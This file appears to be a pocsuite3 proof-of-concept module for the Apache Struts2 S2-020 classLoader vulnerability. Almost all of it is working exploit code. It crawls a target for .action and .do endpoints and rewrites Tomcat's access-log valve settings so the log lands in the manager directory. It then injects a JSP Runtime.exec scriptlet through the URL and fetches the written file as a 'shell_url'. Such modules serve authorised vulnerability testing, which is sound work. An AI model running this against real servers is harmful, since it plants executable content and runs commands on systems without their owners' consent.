"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""
import re
import time
from urllib.parse import urljoin

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.lib.core.enums import VUL_TYPE


class DemoPOC(POCBase):
    vulID = '1228'  # ssvid
    version = '1'
    author = ['']
    vulDate = '2014-04-23'
    createDate = '2014-04-23'
    updateDate = '2023-12-21'
    references = ['https://cwiki.apache.org/confluence/display/WW/S2-020']
    name = 'Apache Struts2 s2-020'
    appPowerLink = 'http://struts.apache.org/'
    appName = 'Apache Struts2'
    appVersion = 'Struts 2.0.0 - Struts 2.3.16.1'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
    '''
    samples = []
    install_requires = ['']
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def getLink(self, url):
        '''使用正则得到页面中.action和.do链接'''
        rnt = []
        page_content = requests.get(url).text
        match = re.findall(r'''(?:href|action|src)\s*?=\s*?(?:"|')\s*?([^'"]*?\.(?:action|do))''', page_content)
        for item_url in match:
            if 'http' not in item_url:
                item_url = urljoin(url, item_url)
            rnt.append(item_url)

        return rnt

    def _verify(self):
        p = self._check()
        if p:
            return self.parse_output(p)

    def _check(self):
        result = {}
        url = self.url
        if url.endswith('.do') or url.endswith('.action'):
            url_actions = [url]
        else:
            url = url.strip('/') + '/'
            url_actions = self.getLink(url)
            if not url_actions:
                url_actions = [url]

        for url_action in url_actions:
            directory_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.directory=webapps/manager"
            prefix_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.prefix=S2_020"
            suffix_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.suffix=.txt"
            filedataformat_url = url_action + "?class[%27classLoader%27][%27resources%27].context.parent.pipeline.first.fileDateFormat=1"
            cmd = url_action + 'aaaa.jsp?a=<%Runtime.getRuntime().exec("ifconfig");%>'
            shelljsp_url = urljoin(url_action, '/../../manager/') + 'S2_0201.txt'

            try:
                directory_request = requests.get(directory_url)
                time.sleep(1)
                prefix_request = requests.get(prefix_url)
                time.sleep(1)
                suffix_request = requests.get(suffix_url)
                time.sleep(1)
                filedataformat_request = requests.get(filedataformat_url)
                time.sleep(1)
                cmd_request = requests.get(cmd)
                time.sleep(10)
                shell_request = requests.get(shelljsp_url)

                shell_content = shell_request.text
                match = re.search('context.parent.pipeline.first.fileDateFormat=1', shell_content)
                if match:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['status'] = "Upload Success!"
                    result['VerifyInfo']['shell_url'] = shelljsp_url
                    return result

            except Exception as e:
                logger.debug(str(e))

        return False

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _attack(self):
        return self._verify()


register_poc(DemoPOC)
